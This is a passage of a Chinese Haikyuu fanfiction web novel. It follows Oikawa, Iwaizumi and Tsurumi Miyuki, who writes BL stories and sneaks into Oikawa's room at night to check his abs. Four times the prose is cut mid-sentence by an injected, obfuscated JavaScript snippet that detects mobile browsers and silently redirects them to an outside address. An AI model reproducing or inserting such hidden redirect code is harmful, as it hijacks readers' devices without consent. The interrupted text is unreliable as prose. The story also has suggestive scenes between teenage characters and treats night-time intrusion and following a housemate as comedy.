及川彻连忙掏出手机,点开岩泉一头像,点开输入—— 及川彻:【小岩,我怀疑鹤见喜欢我。】 岩泉一没有马上回复他,急的及川彻要直接打电话给他,好在岩泉一还是回复了—— 岩泉一:【……】 岩泉一:【你从哪儿看出来的?】 及川彻便把自己的猜想一股脑的告诉岩泉一。 鹤见深雪偷偷来看他比赛,却不告诉任何人,如果不是被他发现,谁也不知道。 喝咖啡的时候,伸手出来在他面前晃悠,这不是让他忍不住牵吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119815|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?不扣好纽扣,这不是让他忍不住帮他扣?在车上开心的坐他旁边,靠着他的肩膀睡觉。 还安慰他,夸他是队伍的精神领袖。 试问,如果他没看他比赛,怎么知道他在赛场的表现如此优秀呢? 最最重要的是!鹤见深雪!刚才!穿裙子!过来找他! 还要当青叶城西排球部的经理!! 青叶城西排球部自从及川彻加入之后就没有经理了,因为应聘的女生太多了,一堆人竞争,差点为了及川彻打起来。 最后领队为了防止影响训练,就不再接受经理了。 为此,青叶城西排球部的其他成员都恨死及川彻了。 鹤见深雪竟然要为了他做排球部经理。 ——他竟然这么喜欢我!? 岩泉一罕见地已读并沉默了。 读完及川彻的五百字小作文,排开伸手晃荡和系扣子这两个纯属及川彻自恋以外,偷看比赛却不说,还要来当排球部经理是有点可疑。 而且及川彻确实很受欢迎,喜欢他的人很多,所以有人喜欢并不意外。 岩泉一:【那……你的意思是,鹤见喜欢男人?】 及川彻:【不愧是青叶城西的王牌啊!一下就直击了问题的关键!】 岩泉一:【好,我们假设鹤见真的喜欢你,然后呢,你怎么想?】 及川彻一愣。 青城王牌太厉害了,一下就击中了关键球,让及川彻半天不知道该说什么。 及川彻是喜欢鹤见深雪的,但仅限于小时候的鹤见深雪,而且还得是女生的鹤见深雪。 因为他,是直男。 这点确实不是及川彻自信满满。 男同性恋是不会喜欢女生的,但及川彻喜欢女明星海了去了。 更别说,在鹤见深雪出现之前,他从来没有考虑过直和弯的事情。 及川彻:【我是直男!!】 岩泉一:【……】 岩泉一:【倒也不用如此着重强调。】 岩泉一:【那既然如此,就不要管了,就正常处理。】 岩泉一说得对,长这么大,喜欢过及川彻的女生数不胜数。 但只要她们没直接说出来,没影响到及川彻,就保持下去,如果她们付出太多了,就直接拒绝,由及川彻承担捅破窗户纸和拒绝的责任 岩泉一:【你不是一直都是这么做的吗?】 及川彻愣愣地看着手机,还想继续对岩泉一说点什么,但岩泉又回复—— 【我学习了,别烦我。】 及川彻把手机一丢,呈一个大字,面无表情地躺在床上。 * 鹤见深雪回到房间,马上给赤苇京治发消息。 【我问过了,男生可以!】 【好,那你加油!】 呼呼。 鹤见深雪已经决定,为了更近距离的观察排球部,他要去青叶城西排球部当经理! 多亏了赤苇京治,他也大概知道经理都做些什么,郑重考虑一下他觉得自己还是可以胜任的。 解决了经理的事情,鹤见深雪厚着脸皮从宫泽编辑那里要来了免费的近三年的《GARLAND!バラ恋人》的刊载短篇。 连看了几篇,果然每篇都有擦边内容。 鹤见深雪趴在桌子上,生无可恋。 11. 做梦 鹤见深雪看着书里那些令人费解的内容,看得打瞌睡。 撇了眼刊物上的内容,上面写道: 「雅人(受)没想到须藤碧(攻)竟然会这样对待他,他不由得■■■■,■■■靠在须藤碧的怀里……」 鹤见深雪看得这篇就是目前最火热《身为球队经理的我发现弟弟是明星级失忆棒球捕手》。 涉及伪i兄i弟、年下、热血、失忆、万人迷等诸多标签元素。 平平无奇的受,误打误撞成为棒球俱乐部经理,俱乐部因为总是输球,拉不到投资,濒临解散,甚至连球员都签不到,于是主角受将父母一年前捡的弟弟推出来,加入球队,没想到弟弟竟是国家级的棒球投手,只是失忆了。 剧情不合理其实鹤见深雪能理解,只是擦边内容看得鹤见深雪相当费解。 比如,书里对攻胸肌的描述,胸肌原来是像果冻一样软的吗? 他一直以为很硬呢,像钢铁侠。 鹤见深雪抬起手,想在胳膊上逼出一点肱二头肌,但比流浪猫还瘦的胳膊全是软软肉,24k无任何多余杂质的纯肥肉。 果然,实践是检验真理的唯一标准。 没有一点实践,写出的东西都是漏洞百出,就比如如果这段由他来写,恐怕就会变成—— 「雅人扑进须藤碧的怀里,坚硬的胸肌发出钢铁般清脆的声音……」 那岂不是让人笑掉大牙了。 想想那个场景鹤见深雪就害怕。 里面还有段描写受的腰很细的台词文本,鹤见深雪不由得吐槽,男的腰那么细怎么干活? 根据赤苇京治发给他的内容,球队经理可是很苦很累的工作。 鹤见深雪掀开自己睡衣,看了看自己的腰,确实是很细的,所以他总是干不了什么重活。 小时候男生仰卧起坐六十,他连三个都做不到。 全班同学围着他,看他做仰卧起坐。 那堪称鹤见深雪的噩梦。 他的审美其实是及川彻那一挂的猛男型,对自己的身体和长相是有点自卑的。 鹤见深雪气得决定当场做三十个仰卧起坐,练出腹肌,惊艳所有人。 但第三个就气喘吁吁起不来,遂放弃。 鹤见深雪因为三个仰卧起坐累的躺在地上喘,出了微微的薄汗,又拍了拍自己的肚子,像个肥宅,生无可恋。 他想起了及川彻,那家伙肯定有八块腹肌,看样子就知道了。 于是鹤见深雪对着镜子,将衣服撩起来,对着自己纤细的腰腹拍了一张照片,发给及川彻。 鹤见深雪:【图片.jpg】 鹤见深雪:【及川さん,我想请问下,我怎么才能有像你那样的腹肌呢?】 鹤见深雪觉得及川彻应该不会生气,他这个人还蛮喜欢别人捧着他的。 这个问题,明问暗捧。 ——鹤见深雪,高情商,太高了。 及川彻没有很快已读,鹤见深雪就继续看书,过了一会儿,手机响了,他打开手机一看,发现及川彻回复他了。 及川彻:【?】 问号是什么意思? 又拍到马蹄子上了?其实及川彻没有腹肌?? 不可能吧? 及川彻怎么能没有腹肌呢? 他低头看自己以及川彻为人设的写下的主角攻,可是有八块腹肌、两块胸肌,身形开阔好像双开门冰箱啊…… * 及川彻呆若木鸡地看着鹤见深雪发来的照片。 照片里鹤见深雪将睡裙轻轻掀开,露出半截不足一握的细白腰腹,因为晚上吃得太多,有一抹小小的弧度,微微挺起,能够切实感觉到柔软到了极点。 “……………………” 他面红耳赤的捂住脸,忍无可忍,发了个【?】 连忙切出去找岩泉一—— 【小岩!!!!】 【?】 【深雪竟然给我发他的腰照勾引我!】 【???】 岩泉一也很震惊,习也不学了。 【让我看看。】 及川彻:???? 【滚啊,你还想看!!?】 岩泉一:【混蛋及川,我是想看看他是以什么理由发给你的,就这么直白的发吗?】 及川彻便将那句请教怎么练腹肌截图给岩泉一,并将鹤见深雪发来的腰照保存。 岩泉一:【这不是向你怎么练腹肌吗?怎么就勾引了?】 及川彻:【你连这都不懂?这么明显了都。关键他还附了一张他腰的照片。】 岩泉一因为先入为主,觉得及川彻确实很受欢迎,所以在他说鹤见深雪喜欢他的时候,并未怀疑,但现在仔细想想,没看出鹤见深雪喜欢他,这就挺正常的请教练腹肌。 岩泉一现在正在被这几天积攒的作业缠身,烦得很,回了一句之后,给及川彻开了免打扰。 岩泉一:【我再警告你,别再烦我了。】 及川彻切回与鹤见深雪的聊天框。 鹤见深雪没有回他。 他删了就写,写了又删,最后有点开那张腰腹照片。 纤细的腰腹皙白一片,质地不像肉,反而像玉,似乎还有微微的薄汗,漏出半截纤白的手臂,拉着自己衣服的下摆。 及川彻放大了观察鹤见深雪的肚脐,顺着肚脐往下看,可惜像素有限,内容也有限…… 这真的是他的腰吗? 原来这是鹤见深雪的腰啊…… 他不得不承认,真的又色又纯。 及川彻实在又累又困得不像话,昏昏沉沉地睡着了,闭上眼睛眼前仍是一片玉似的白。 午夜十二点半。 寂静无声。 及川彻睡得不算舒服,总觉得全身燥热难安,甚至把暖气都开低了很多度。 他房间的推拉门轻轻被拉开,来的人动作很细微,但仍能听见声音。 小心翼翼开门的声音在此时犹如洪水猛兽一般的呼啸,鹤见深雪轻轻拍了拍自己的胸脯,动作以厘米的距离从门的缝隙挤进去。 因为脚踩地的声音太大,他就跪在地上,双手撑着地板,缓慢的爬到及川彻的身边。 及川彻睡姿还可以,但因为热,掀翻了被子。 鹤见深雪无声的深呼吸来放松。 对不起了,及川さん。 我实在太想知道,你有没有腹肌了。 鹤见深雪动作轻柔,轻轻掀开及川彻的被子。 及川彻穿着灰色的宽松睡衣,所以还算容易,他伸手钻进及川彻的衣服里面。 如果此时被发现,那我的人生就完蛋了吧? 鹤见深雪解开睡衣的扣子—— 有。 哪怕是放松状态,也能看到及川彻劲瘦的腰腹有腹肌轮廓,人鱼线清晰。 原来腹肌放松状态长这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119816|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 鹤见深雪松了口气。 妒意又窜上来了,自己的腰和及川彻一比,简直就是小学生级别的。 他们可是仅仅只相差了半岁!! 腰腹力量决定一个男人很多地方,鹤见深雪输得彻底。 及川彻睡得很不舒服,长舒了一口气,朝着鹤见深雪的方向翻了一个身。 鹤见深雪吓得连忙静止,心脏跳得飞快,停了好大一会儿才开始缓慢的动作,轻轻地将及川彻睡衣的扣子系上。 鹤见深雪一不留神,冰冷地手指划过及川彻的腰腹,冻得他一激灵,眉头紧皱。 鹤见深雪连忙加快了自己的手速,快点离开这个危险的地方,却没想及川彻长长的睫毛微动,眯缝的眼睛睁开一个罅隙。 我的人生啊,到此结束了吗? 为了取材而死,死得其所。 想你,妈妈。 谢谢,赤苇编辑还有你的儿子。 感恩一切,感恩世界。 鹤见深雪在心里说完了遗言。 “小雪……” 及川彻像是呓语的梦话,声音有点软软的。 及川彻说话本就像是唱歌一样,这个时候喊鹤见深雪的小名,就像是脑子里揉了一块糯米。 鹤见深雪愣住了。 “……梦吗?” 天不收我鹤见深雪,太好了。 鹤见深雪连忙点头,现在是绝对不能说话的。 及川彻压根看不清鹤见深雪的脸,只能看到朦胧的轮廓,于是抬起手,将手伸进鹤见深雪的衣服下摆里。 鹤见深雪:“???” 居然是梦。 于是及川彻干了睡觉前,最想干的事情,伸手捏了一把他的腰,又轻轻掐了一下。 啊啊啊—— 不算很痛,但是好痒啊……救命啊。 鹤见深雪咬紧牙关,硬抗及川彻的一顿揉搓。 及川彻的手因为长期打排球,有硬茧,滑过鹤见深雪的纤细的腰肢,竟然让他觉得像是砂纸。 不是吧,及川彻你做梦为什么要揉别人的腰? 这是什么怪癖吗? 鹤见深雪欲哭无泪,捂住嘴,眼泪花都涌出来了,他被及川彻摸得直不起身,忍无可忍甩开他的手,箭似的跑了。 中途因为腿软差点摔倒。 又温又软的触感,在掌心消失,及川彻被关门的声音彻底弄清醒,他皱眉睁开眼,看着熟悉的天花板。 他抬起手,掌心仍有温度。 手放到鼻尖,有清香。 五分钟之内,他的大脑都是空白的,分不清刚才是梦还是现实。 他从床上爬起来,推开门,去看对面的鹤见深雪的房间漆黑一片,全无半点醒来的迹象。 真是梦,我梦见鹤见深雪了? 他百思不得其解,重新爬回床上。 ——不是吧,我脑补的鹤见深雪的腰这么真实的吗? * 鹤见深雪关了灯,面红耳赤地钻进自己的书桌底下。 他害怕及川彻要跑来与他当面对峙,听见及川彻拉开门的声音,心脏砰砰乱跳,气喘吁吁,脸烫得像发烧,浑身软得没劲。 他紧张到发抖,但是及川彻似乎只是开门看了眼,就关上了门。 没过一会儿,及川彻似乎又去洗澡了。 鹤见深雪才缓缓地从桌子底下爬出来,摊在榻榻米上喘气。 12. 过稿 及川彻第二天没去晨练,昨天晚上睡得太晚,还有点伤身。 但还是习惯性的还是早起了,洗了手他跑去厨房帮妈妈做早餐,看见老妈昨天晚上发了面团,早上要吃铜锣烧。 他忍不住伸手去揉面团。 脑海里又会回想起昨天晚上的触感,鹤见深雪的腰就和面团一样软,薄薄一层腹部还有点赘肉,但比面团还要温暖,滑腻,带着些许的潮气,一呼一吸在掌心下像是蝴蝶的翅膀一样的轻颤。 他越琢磨越觉得不对劲。 ——昨天晚上他真的做梦了吗? 他的脑海里浮现昨天晚上鹤见深雪的样子。 他捂着嘴,涨红脸,害怕发出声音,眼睛带着点点泪花,越来越清晰,好像是真实发生过一样。 及川彻回忆着,捏面团的手不由得加重。 “去去去。” 及川太太看着及川彻心不在焉的玩面团,就把他撵走了。 及川彻走到客厅,半躺在沙发上,忍不住掏出手机,点开雅虎,偷偷摸摸地在搜索引擎上输入—— 「男生的梦yi对象是男的这正常吗?」 最佳回答: 正常。 现如今同性恋已经被大众广泛…… 住口! 及川彻快速滑过这个答案,继续往下看,很快放弃,因为回答全是说他有同性恋倾向。 他无法接受,警惕地删除搜索和浏览记录,点开排球部同级的几个好友建的群。 他们几个偶尔会在群里发点美少女或者女明星图片,讨论些异性的话题,及川彻平时不是很感兴趣,此刻为了纠正自己的性取向,在群里疯狂浏览。 看了半天都觉得这些女星的腰,要么没有鹤见深雪白软,要么又太软了没有鹤见深雪有股男生的那种韧劲,甚至有些太完美了,又让及川彻怀念他小腹上那层不完美的软得像面团的赘肉。 看了会儿又忍不住点开鹤见深雪发给他图片。 可恶,都怪他。 及川彻将图片专门建了个相册,并掩耳盗铃的设置密码。 思考过后,及川彻将这件是归结为排球打得少了。 鹤见深雪还是阴沉沉的,到点下来吃饭,吃完饭客气鞠躬,又跑回房间。 及川彻和鹤见深雪始终沉默,他总不能问他——鹤见你昨晚来我房间了吗? 如果他真的来了,那他如何解释自己看到他的第一时间是摸他肚子和腰,还把人欺负哭了的事情啊? 外面又下雪了,白雪压弯了窗外的树枝,目之所及全是一片雾白。 及川彻坐在教室里,难得在课间没有跑到外面和朋友见面,也没有补觉,而是老实坐在课桌前,看着窗外的飘雪。 他的座位都是靠窗倒数第二个的主角位。 倒也不是他有多动症,而是坐在座位里一会儿,就有女生来搭话,他绝对不会拒绝女生,就笑盈盈地哄她们。 还挺浪费时间的,所以一下课他就会去找小岩或者小卷他们。 但今天他明显心情不佳,浑身上下都提不起劲,像被人吸干了精气,托着腮,连笑容都没有,女生也不想去触霉头。 “你看了吗?” “噢噢是玉之毛玉老师的新作吗?魅/魔小萝/莉简直是我的最爱啊……” “社报了!!” 班上几个死宅坐在及川彻身边讨论,虽然声音很小,但及川彻的五感发达,将他们的话一字不落的听全。 “啧——” 及川彻皱眉,偏头,看见是宫本和小野。 及川彻记得全班每个人的名字。 两个戴眼镜一高瘦一矮胖的肥宅,激动地声音旁边女生都听见了,露出嫌恶的眼神。 及川彻想了想,凳子一拖,直接闪现到两人旁边。 “哟吼,宫本酱和小野酱啊~” 宫本和小野被他吓了一跳,他们两个就是班里的透明肥宅,看到班里第一现充、排球部部长走过来,还准确地道出他们的名字,震惊得差点从凳子上摔下来。 “你们刚才在聊什么呢?” 小野和宫本对视一眼,及川彻一过来周围女生的目光都聚拢过来。 一想到女生的目光就觉得兴奋,搞不好一会儿女生就要围过来了,所以二人暂且放下了死宅与现充的根源战争。 “就是毛玉老师的新本子。” “是□□什么的啦……” 及川彻道:“我就想问问魅/魔……” “及川君,你居然不知道魅/魔是什么吗!?” 这他当然知道。 但是知道没有其他人那么细致。及川彻平时只想着打排球,每天把自己的精力榨得干干净净才算完。 比起专门搞黄色的漫画,他可是纯爱党。 “魅/魔就是半夜会爬上人的床,在梦里和人H的存在。” 及川彻微微一愣,道:“细说。” 宫本和小野相视猥琐一笑,对着及川彻输出五分钟的魅/魔知识。 “总之就是穿的和涩气,头上会长角,还会有尾巴,嗯,一般都是特别可爱,会悄咪咪地勾引人……年轻女孩的形象——就是萝莉哦呵呵呵。” “年轻女孩?” 及川彻本来听得津津有味,甚至随着他们的描述,在脑海里给鹤见深雪装上了一对红色的恶魔角,屁股后面翘着一条为尾端为爱心的恶魔尾巴。 却听到这个的时候,幻想的气泡被拍散,他皱起眉头,“没有男孩吗?” 宫本和小野又惊讶地对视,似乎被这个问题问住了。 “有吧,那就是正太魅/魔了。” “对对,小小的,也有这种XP啦。”博闻强识的小野道:“像是秀吉、阿斯托尔福、琉华……不过得是女装大佬才行。” “女装?” “对啊,喜欢穿男装正太只有宅女和男同喜欢吧?” 及川彻惊讶地看向宫本——疑惑一上午的问题瞬间解决了。 原来如此、原来如此……鹤见深雪来家都半个月了,他只在鹤见深雪昨天穿了睡裙那天才开始……所以他并不是男同,而是鹤见深雪是正太魅/魔! 昨天晚上如果是他做梦,那一定也是鹤见深雪搞的鬼! 人怎么可能跟魔斗啊? 及川彻急切问道:“那要怎么对付魅/魔?” “啊?” 宫本和小野惊讶地看向及川彻,大家都在本子里yy一番算了,你小子是真的有魅/魔啊。 “为什么要对付啊?”小野猥琐一笑,言外之意明显。 及川彻也冲他们礼貌笑笑,小野还想和现充大帅哥聊会天,及川彻就直接拖着凳子脱离了聊天,笑容消失,好像和他们聊天的人不是他。 变脸之快,令人咂舌。 * 鹤见深雪对着镜子掀开自己的衣服下摆,看到纤细白嫩的腰肢上零星印着几个指痕。 好几天都消不下去。 摸的时候不是很痛,就是怪怪的,痒痒的。 鹤见深雪越想越气—— 不是,及川彻有毛病吧? 他掐我干什么啊? 他该不会压根没有睡着,只是为了耍自己吧? 不过他已经深刻信了杂志连载小说上的内容,摸一下腰腿都软了事情,尤其是及川彻的手怎么这么烫,他是火炉吗? 鹤见深雪把自己的人设方案和一万字的短篇交给宫泽编辑,比预计的时间提前了一周,因为他想到自己大概率还是不过稿,索性提前写完交出去,加快节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119817|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奏。 宫泽编辑下午就回复他了,给了一千多字的意见,非常认真。 宫泽表示,攻的人设已经很不错了,性格恶劣的排球部学长,但受还是有点模糊,不过一个短篇不可能完满,毕竟字数在哪儿放着。 而且排球这个关键线索不够明显,如果写长篇,必须把排球这个要素提起来。 宫泽:【里面两个人摩擦的片段写得很有生活、很有张力啊,不愧是鹤见老师。】 鹤见深雪看着编辑发来的话,瞬间面红耳赤,恨不得重新钻回桌子底下,那个桥段都是照搬的和及川彻那天晚上的互动。 他捂住脸,羞愧难当,以后他要写更多新的花样,他要怎么办? 鼓起了莫大的勇气,鹤见深雪才回复了一句谢谢编辑栽培。 片刻之后宫泽回复了一句—— 宫泽:【那我先把这篇短篇推出去,探探读者对排球这个运动要素的口味。】 鹤见深雪看到消息呆了片刻,接着很快反应过来,激动地到处打滚。 他,鹤见深雪,终于过稿了!! 功夫不负有心人! 宫泽:【我推到主编那边了。稿费和合同的事情,我需要具体和你介绍,但我下周四才有空,我来宫城吗?那稿子可能会在下下下周刊登。】 鹤见深雪想了想,事不宜迟,他希望能尽早签合同、尽早拿到稿费,而且上次自己就让宫泽跑一趟了,这次他去东京比较好。 宫泽很快答应了,还帮他订了后天的新干线的车票。 宫泽:【想要一次获得广泛评价,直接升级成长篇是很难的,我建议你继续准备下个短篇,这次换个受人设比较好。】 宫泽:【还有就是笔名用什么?还用夏夜雪吗?】 鹤见深雪统统回复了OK。 宫泽这边刚聊完,鹤见深雪就给赤苇京治发了个消息。 【赤苇君,我过稿了!!】 没一会儿赤苇就回复: 【恭喜。期待.jpg。】 虽然赤苇京治语气平平无奇只两个字,但看得出来他非常欣喜,都发表情包了。 鹤见深雪感觉自己没少麻烦赤苇京治,虽然不算人情世故,但鹤见深雪是个知恩图报的人,想感激一下赤苇京治,拿到稿费请他吃饭。 鹤见深雪:【周六去东京签约,想当面感激你一下。】 赤苇京治很快回复【好,可惜春高已经结束了,但那天我们排球部有比赛,你可以过来看一下,取取材。】 鹤见深雪不由得有些感动,赤苇京治哪怕这个时候也不忘帮他,而且他还真的没有完整看过任何一场排球比赛。 赤苇京治的性格,他是真的挺喜欢的,鹤见深雪也听他讲过一些排球部的事情,说不定能碰到更多有意思可以写进书里的人。 鹤见深雪:【好的好的,谢谢你!】 鹤见深雪合上手机,欢天喜地地下楼,上次偷偷去仙台被发现,还被训了,让鹤见深雪有点委屈,这次准备和及川太太报备一下,省的她担心。 及川彻正好上楼,迎面和鹤见深雪撞见。 鹤见深雪的头发越来越长,扎了个短短的马尾,笔做簪子插在头发里面,碎发碎得颇有艺术感,笼这一张巴掌大的绮丽冷白的小脸,妩媚的眼尾上挑,像是从古画里走出来诗文漫卷的摄人心魄的美丽书生。 两人在看到对方的时候瞬间闪开眼神,尤其是鹤见深雪小脸上浮起一片绯红。 及川彻看见鹤见深雪脸红,瞬间不慌张了,大胆的眼神划过他的侧脸。 鹤见深雪匆匆问了句好,就快速下楼,及川彻停了两秒,鬼鬼祟祟地跟上去。 他听见鹤见深雪对妈妈说:“伯母,我周六要去一趟东京,去见我以前的同学。” 13.保护 东京? 见朋友? 鹤见深雪朋友很多吗? 及川彻看人也很准,鹤见深雪一看就不像是很会社交的感觉,他第一时间是怀疑。 可但凡是个人都不可能彻底摒弃社交,鹤见深雪在东京生活那么多年,肯定有朋友。 过了会儿,他听见鹤见深雪上楼的声音,两步跨进了房间。 及川彻皱眉躺在床上,仍在思考这个问题,忽然想起了之前看见鹤见深雪的手机聊天记录,说什么仙台细聊来着,还有合同什么的。 及川彻思考着,忽然想到一个问题—— 鹤见深雪该不会被网络上的人骗了吧? 他那么漂亮。 及川彻拿不定主意,又掏出手机,联系岩泉一,把这件事兢兢业业地向他汇报。 岩泉一:【他去哪儿跟你有什么关系?】 及川彻被他这句话气得上火。 今年是宫城县难得的一个暖冬。 周六这天和天气预报播报的那样晴朗柔和,天空又高又远,雪白的太阳天边挂着,没什么温度。 鹤见深雪换了件白羊绒的浅粉色短款大衣,头戴米色贝雷帽,里面穿了个高龄羊毛衫和米色背带短裤,难得把金发稍微梳理了一番,越来越长的发尾往外翘翘的。 用蓝色的夹子将斜刘海别到帽檐上,露出一张精致的小脸。 他没有特意打扮,只是以前的衣服就这几件能穿出去了。 毕竟是要走路出门,不是坐车,更要第一次独自坐新干线。 他下来的时候及川彻在接水,看到鹤见深雪后愣神,水满出来流到手上才反应过来。 “哇,小深雪,好可爱啊。”姐姐惊讶地说道。 确实。及川彻在心里附和。 简直可爱的无敌爆炸。 鹤见深雪谦虚地笑着回应,跨上了一个小包,推开门就走。 天气还是很冷,一会儿鹤见深雪的鼻尖、脸颊和膝盖就冻得通红。 他搓搓手,先在刚开门旧书店卖了几本精装版《哈利波特》,又走去旧货市场卖了几件衣服,这几件衣服原价不菲,因为有点旧了,银行来清点家产的时候没有带走。 “他这么缺钱的吗?” 岩泉一站在不远处皱眉问道。 “啧,你过来点,等会被他发现了。” 及川彻拉着岩泉一往后站,警惕地看向鹤见深雪的方向。 及川彻穿着件机车风的暗棕色皮衣,头上顶着黑色鸭舌帽,刘海被压得遮住一半的眼睛,只能看见帽檐下完美的下巴轮廓。 岩泉一被他拉到身后去,及川彻看向拿到钱的鹤见深雪。 “他家很有钱……他也没说他缺钱啊……”及川彻皱眉嘀咕,想起上次在仙台,他看起来好像确实没钱。 及川彻更担心了,没钱更容易被骗了。 岩泉一不客气的说道:“我走了,我可不去东京。” 及川彻忧虑地看着鹤见深雪,随意点点头算是回答岩泉一。 岩泉一看了会儿及川彻优越的侧脸。 “喂,及川。” 及川彻勉强分出点神思回应了一下岩泉一,就听见他说:“有句话给你……如果你喜欢一个人,你就有可能觉得他也喜欢你。” “啊?什么意思?”及川彻莫名其妙地看向岩泉一。 “意思是你现在很像变态跟踪狂。” “?哪有啊!!我只是担心他被骗了!拜托,随便一个喜欢我的女生,我都会出手相助!乐于助人的及川桑!” 岩泉一懒得理他,他没看出来鹤见深雪需要什么帮助。 及川彻再回头已经找不到鹤见深雪了,“可恶,你害得我跟丢了。” “这句话更像变态了。” 及川彻不再搭理岩泉一,追着往前走,拐弯看见了鹤见深雪的背影。 压了压鸭舌帽,带上黑色口罩,跟了上去。 他不知道鹤见深雪在新干线的车厢,只知道班车号,跟着进了月台,看到了鹤见深雪在6号车厢。 果然在等车的时候有人来搭讪,不过是女生,围着鹤见深雪说卡哇伊,鹤见深雪脸蛋红扑扑的,说话吞吞吐吐。 及川彻略微不爽,被女生搭讪就这么开心?他一天要被女生搭讪七八回。 很快及川彻不爽更强烈了,因为鹤见深雪被搭讪的次数太多了,女生占绝大多数。 鹤见深雪在人群中非常显眼,金色头发和浅色系名贵衣服,蓝色的眼睛像是日光下的猫眼石,明眸善睐,顾盼生辉。 在充斥着灰白的社畜地狱东京显得格格不入。 有个穿西装的男人,拿着名片问他有没有兴趣来当模特。 鹤见深雪也不懂拒绝,竟然真的接了名片,还给了自己的联系方式。 及川彻毫不犹豫地走出去制止,但此人不像坏人,还真的是模特公司的星探,拿到鹤见深雪的联系方式就离开了。 及川彻又赶紧躲回来,撤回了一个英雄救美。 甚至引起了旁边的人的注意,他连忙压低了帽檐。 所幸东京大白天的治安还不错,鹤见深雪拿着地图,上了地铁,在文京区下车,步行了十分钟才到了目的地,还好是冬天,否则他指定汗流浃背。 虽然现在也好不到哪里去。 鞋并不磨脚,但脚底很痛。 “元谈社?!” 及川彻抬着帽檐,震惊地看着几十层高的大楼。 他彻夜幻想过深雪会去的地方,唯独完全没有想到这里,他最糟糕的幻想是被人骗去当牛郎或者被什么金主包养。 及川彻松了一口气的同时,脑海里翻飞的疑惑。 鹤见深雪按照提前预约的时间走进公司总部专门的会客室,几分钟后宫泽下楼来,手里拿着文件。 “稿件已经通过主编审稿了,将在下下周刊登。” “万分感谢,承蒙关照。” 鹤见深雪心喜之余,心里默默的也感谢了一下岩泉一和及川彻,因为这篇小说就是以青梅竹马约定踏上全国舞台而努力的王道故事。 没错,原型正是及川彻和岩泉一。 青梅竹马! 他写文很投入感情,越写越上心,甚至觉得及川彻和岩泉一之间真的有什么感情。 鹤见深雪大笔一挥,在合同上签上自己的大名,超级不明显地装作不在意从文件里袋里,掏出装有稿费信封的宫泽。 “鹤见老师确认一下款项。” 元谈社相当人性化,有支票、转账、现金等多种方式发放稿费。 ——激动得想落泪,整整八万块! 以前八万块掉地上,他看都不看,现在他只会热泪盈眶。 接着他们又讨论了一下新的短篇,主编也觉得受的人设不明显,变成了一个单方面为了攻付出的角色。 鹤见深雪看了下文章,他在写的时候就觉得了,俩人的感情太过顺理成章,甚至感情线都不明显,整日都是去打球、去打球。 嗯,可这就是及川彻和岩泉一的日常啊。 说出来宫泽可能不信,这俩人真的就是,打排球和打排球。 擦边暧昧还是鹤见深雪把及川彻给自己上药和鹤见深雪晚上去及川彻房间摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123478|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他腹肌的情节给写进去了。 宫泽凭自己的经验,道:“可以再加点……其他角色,比如什么阻碍俩人感情的炮灰男配什么的,总之就是你得创造一个让他们有波折的地方。” 鹤见深雪深以为然。 不过除了这个,他还有一点其他的想法。 鹤见深雪在写作上是很有天赋的,很容易想到出彩的设定,或许是这次过稿,又让他找回了些许自信,有思考了好几天宫泽提出的故事太平没有新意的问题。 “我想给故事加入一些奇幻色彩。” 宫泽微微一愣,郑重地看向鹤见深雪,心念不由得一动。 夏夜雪——虽然这个名字已经很久没有出现了,但在《无尽魔法长夜》的那一年里,确实是当之无愧的奇幻之王。 作者和编辑的沟通时是用隔板搭的单独的屋子,元谈社并不只有《GARLAND!バラ恋人》一个杂志,作为日本最大的出版商,《GARLAND!バラ恋人》甚至是里面销量中下的最不起眼的一个期刊。 鹤见深雪和宫泽坐的位置靠窗,鹤见深雪看着窗外愣愣地思考,晃眼之间好像又看见个和及川彻身材相似的人。 鹤见深雪赶紧扭过头来,最近为了写小说,他及川彻当做原型,脑子里全是及川彻。 ——现在都出现幻觉了。 ——他怎么可能在东京? 宫泽问:“你打算怎么加?” 鹤见深雪有点不好意思地说道:“我想想试试魅魔人设。” 